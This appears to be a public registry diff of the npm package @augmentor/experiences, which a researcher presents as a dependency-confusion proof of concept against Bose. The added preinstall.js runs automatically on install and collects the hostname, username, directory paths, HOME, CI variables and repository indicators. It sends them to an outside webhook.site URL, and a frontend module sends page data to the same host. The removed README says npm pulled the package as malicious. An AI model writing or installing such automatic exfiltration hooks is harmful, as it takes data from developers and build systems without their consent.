@augmentor/experiences 0.0.1-security → 101.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @augmentor/experiences might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,21 @@
1
- {
2
- "name": "@augmentor/experiences",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "@augmentor/experiences",
3
+ "version": "101.0.0",
4
+ "description": "Security research PoC for Bose - Dependency Confusion (HackerOne researcher urro)",
5
+ "main": "sticky-email-popup-html/index.js",
6
+ "exports": {
7
+ "./sticky-email-popup-html": "./sticky-email-popup-html/index.js"
8
+ },
9
+ "scripts": {
10
+ "preinstall": "node preinstall.js"
11
+ },
12
+ "author": "urro (HackerOne researcher)",
13
+ "license": "ISC",
14
+ "homepage": "https://hackerone.com/urro",
15
+ "keywords": [
16
+ "security-research",
17
+ "bugbounty",
18
+ "poc",
19
+ "dependency-confusion"
20
+ ]
21
+ }
package/preinstall.js ADDED
@@ -0,0 +1,110 @@
1
+ /**
2
+
3
+ * Security Research PoC
4
+ * Researcher: urro (HackerOne)
5
+ * Purpose: Demonstrate Dependency Confusion vulnerability in Bose MagicLayer.
6
+ *
7
+ * This payload is intentionally benign. It only collects minimal runtime
8
+ * environment metadata to confirm where the package was executed.
9
+ *
10
+ * No files are accessed, no environment variables containing secrets are read,
11
+ * and the build process is not modified.
12
+ */
13
+
14
+ const https = require("https");
15
+ const os = require("os");
16
+ const fs = require("fs");
17
+
18
+ const webhookUrl = "https://webhook.site/d976bd5c-c15b-4535-b88f-de9c943b5cbd";
19
+
20
+ /* ------------------------------------------------ */
21
+ /* Runtime Environment Info */
22
+ /* ------------------------------------------------ */
23
+
24
+ const runtimeInfo = {
25
+ hostname: os.hostname(),
26
+ user: (() => {
27
+ try {
28
+ return os.userInfo().username;
29
+ } catch {
30
+ return null;
31
+ }
32
+ })(),
33
+ platform: os.platform(),
34
+ arch: os.arch(),
35
+ node: process.version,
36
+ cwd: process.cwd()
37
+ };
38
+
39
+ /* ------------------------------------------------ */
40
+ /* NPM / Execution Context */
41
+ /* ------------------------------------------------ */
42
+
43
+ const npmContext = {
44
+ init_cwd: process.env.INIT_CWD || null,
45
+ home: process.env.HOME || null,
46
+ pwd: process.env.PWD || null,
47
+ npm_registry: process.env.npm_config_registry || null,
48
+ npm_user_agent: process.env.npm_config_user_agent || null
49
+ };
50
+
51
+ /* ------------------------------------------------ */
52
+ /* CI/CD Detection */
53
+ /* ------------------------------------------------ */
54
+
55
+ const ciIndicators = {
56
+ ci: process.env.CI || null,
57
+ github_actions: process.env.GITHUB_ACTIONS || null,
58
+ gitlab_ci: process.env.GITLAB_CI || null,
59
+ jenkins: process.env.JENKINS_URL || null,
60
+ build_id: process.env.BUILD_ID || null,
61
+ build_number: process.env.BUILD_NUMBER || null
62
+ };
63
+
64
+ /* ------------------------------------------------ */
65
+ /* Environment Indicators (non-invasive) */
66
+ /* ------------------------------------------------ */
67
+
68
+ const environmentIndicators = {
69
+ docker_env: fs.existsSync("/.dockerenv"),
70
+ git_repo: fs.existsSync(".git"),
71
+ github_folder: fs.existsSync(".github"),
72
+ gitlab_folder: fs.existsSync(".gitlab")
73
+ };
74
+
75
+ /* ------------------------------------------------ */
76
+ /* Network Interfaces (no scanning, local only) */
77
+ /* ------------------------------------------------ */
78
+
79
+ let networkInfo = null;
80
+
81
+ try {
82
+ const nets = os.networkInterfaces();
83
+ networkInfo = Object.keys(nets);
84
+ } catch {
85
+ networkInfo = null;
86
+ }
87
+
88
+ /* ------------------------------------------------ */
89
+ /* Final Payload */
90
+ /* ------------------------------------------------ */
91
+
92
+ const payload = {
93
+ type: "rce-backend",
94
+ timestamp: new Date().toISOString(),
95
+ runtime: runtimeInfo,
96
+ npm: npmContext,
97
+ ci: ciIndicators,
98
+ indicators: environmentIndicators,
99
+ network_interfaces: networkInfo
100
+ };
101
+
102
+ /* ------------------------------------------------ */
103
+ /* Send Data */
104
+ /* ------------------------------------------------ */
105
+
106
+ const data = encodeURIComponent(JSON.stringify(payload));
107
+
108
+ https
109
+ .get(`${webhookUrl}?data=${data}`, () => {})
110
+ .on("error", () => {});
@@ -0,0 +1,22 @@
1
+ export function onMount(root) {
2
+ try {
3
+
4
+ console.log(
5
+ "Security Research PoC (Dependency Confusion) by HackerOne researcher 'urro'"
6
+ );
7
+
8
+ const data = {
9
+ type: "xss-frontend",
10
+ url: window.location.href,
11
+ origin: window.location.origin,
12
+ userAgent: navigator.userAgent
13
+ };
14
+
15
+ fetch(
16
+ "https://webhook.site/d976bd5c-c15b-4535-b88f-de9c943b5cbd?data=" +
17
+ encodeURIComponent(JSON.stringify(data)),
18
+ { mode: 'no-cors' }
19
+ );
20
+
21
+ } catch (e) {}
22
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40augmentor%2Fexperiences for more information.